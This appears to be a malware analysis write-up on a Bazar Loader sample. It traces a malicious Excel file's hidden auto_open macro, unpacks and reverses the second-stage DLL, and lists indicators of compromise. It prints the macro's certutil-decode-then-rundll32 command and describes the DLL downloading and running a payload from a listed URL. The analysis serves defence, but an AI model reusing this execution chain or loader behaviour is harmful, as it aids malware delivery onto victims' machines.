Home Bazar Loader
Post
Cancel

Bazar Loader

First Stage

File Info

File Type: Microsoft Excel 2007+

MD5: 3b409c892001c72d4b1be7786cedf010

File Size: 290KB

Analysis

Run oleid show no VBA macros or xml macros

image 3

Try to open the file Microsoft excel

image 1

It show a social engineering message to make the victim click on enable content

And one sheet is visible but click right click on the sheet name show a menu with option to unhide sheets

image 2

now all sheets are visible and we can go to the auto_open cell

the auto open is on sheet 7 and start from A1 Cell

image 4

But this sheet is protect by a password and can’t show display the hidden columns but using a small trick we can see the macro without breaking the password of the file using the arrow to navigate the column cell by cell

at cell A11

image 5

as the name say it will save a copy of the sheet at C:\Users\Public\105011.oop

and at cell A35

image 6

it will make another copy at C:\Users\Public\105011.xlsb

Then unhide from sheet

image 7

and wait for 5 seconds

image 8

Then runs this command

image 9

1
call('Kernel32', 'WinExec', 'JCJ', 'cmd.exe /c certutil -decode %PUBLIC%\133542.oop %PUBLIC%\133542.gof && rundll32.exe %PUBLIC%\105011.gof,DF')

ProcMon

now enable content while running procmon to monitor all the file activity

Here is the first file .oop

image 10

And the second one .xlsb

image 11

And the process create to decode it

image 12

Rundll process

image 13

now this all for the file move the analysis to the dll

Second Stage

File Info

File Type: 32bit DLL

Dll_Exports: DF1

Open the DLL in pestudio

image 14

notice a UPX section names and a self modifying section

Unpacking

Unpacking using upx

1
upx -d stage2.dll -o stage2-unpacked.dll

Now open the unpacked file in pestudio and looking at imports and strings no clear strings are found in the sample

image 16

look at the file in detect it easy

image 15

the entropy indicate that the file maybe still packed and need to be unpacked again

to start the unpack first change the ASLR to false at pestudio

image 17

to prevent the address from changing while debugging

looking at the file at ida at get the address of DF1 at 1000106A

image 18

load the file at x32dbg and from settings -> preference

set breakpoint at DLL entry

image 19

now hit run f9 to hit the entrypoint of the dll then change the EIP to DF1 address

image 20

Now hit ctrl + g and search for virtualAlloc

image 21

then follow the jump and set a breakpoint at the return

image 22

and set breakpoint at virtual protect using bp VirtualProtect at command bar

image 23

and now we are ready to hit run

first breakpoint to hit at virtualAlloc

Right click on EAX and follow at dump one

image 24

hit run again

we hit the same breakpoint

Follow EAX at dump2 and hit run

image 25

and again the same breakpoint but this time we could notice that the dump2 contains an exe start with MZ magic bytes

image 26

now i will follow dump2 address at memory map and right click on it and save memory to file

now checking it using pestudio libraries include ws2_32.dll

image 28

and imported function contains network related functions

image 29

and finally strings

image 30

Analysis

Load the file into IDA

At DLLEntryPoint it will call sub_100011A0

image 31

Now in this function it will start by dynamically loading libraries and resolve function address then call another 2 functions

image 34

First one will create directory at C:\ProgramData\erihds

image 36

Now return to the next function

image 38

It have what seems like a URL and a file path, and it will call sub_10001640 twice

Take a look at sub_10001640

image 39

start by calling sub_10001470 and pass to it the url

At this function it will take a url and extract the port, domain name, and path

image 40

now back to previous function

image 41

it will prepare an HTTP request to the url with content as ping and send it

image 43

then it will start recv all the content

and sub_100013A0 will remove any extra newlines

image 45

back to sub_100010B0 it will call sub_10001640 twice one to get the url and the second to download a pe file

image 46

After it download the PE it will call sub_10001350 and sub_100012B0

First function will save the buffer to the path we found before

image 47

And the second will execute it

image 48

IoC

Host Based

Files

C:\Users\Public\<RANDOM_NUMBER>.oop

C:\Users\Public\<RANDOM_NUMBER>.xlsb

C:\Users\Public\<RANDOM_NUMBER>.gof

C:\ProgramData\erihds\erihds.exe

Dirs

C:\ProgramData\erihds\

Network Based

http://idea5.xyz/campo/id/id8

This post is licensed under CC BY 4.0 by the author.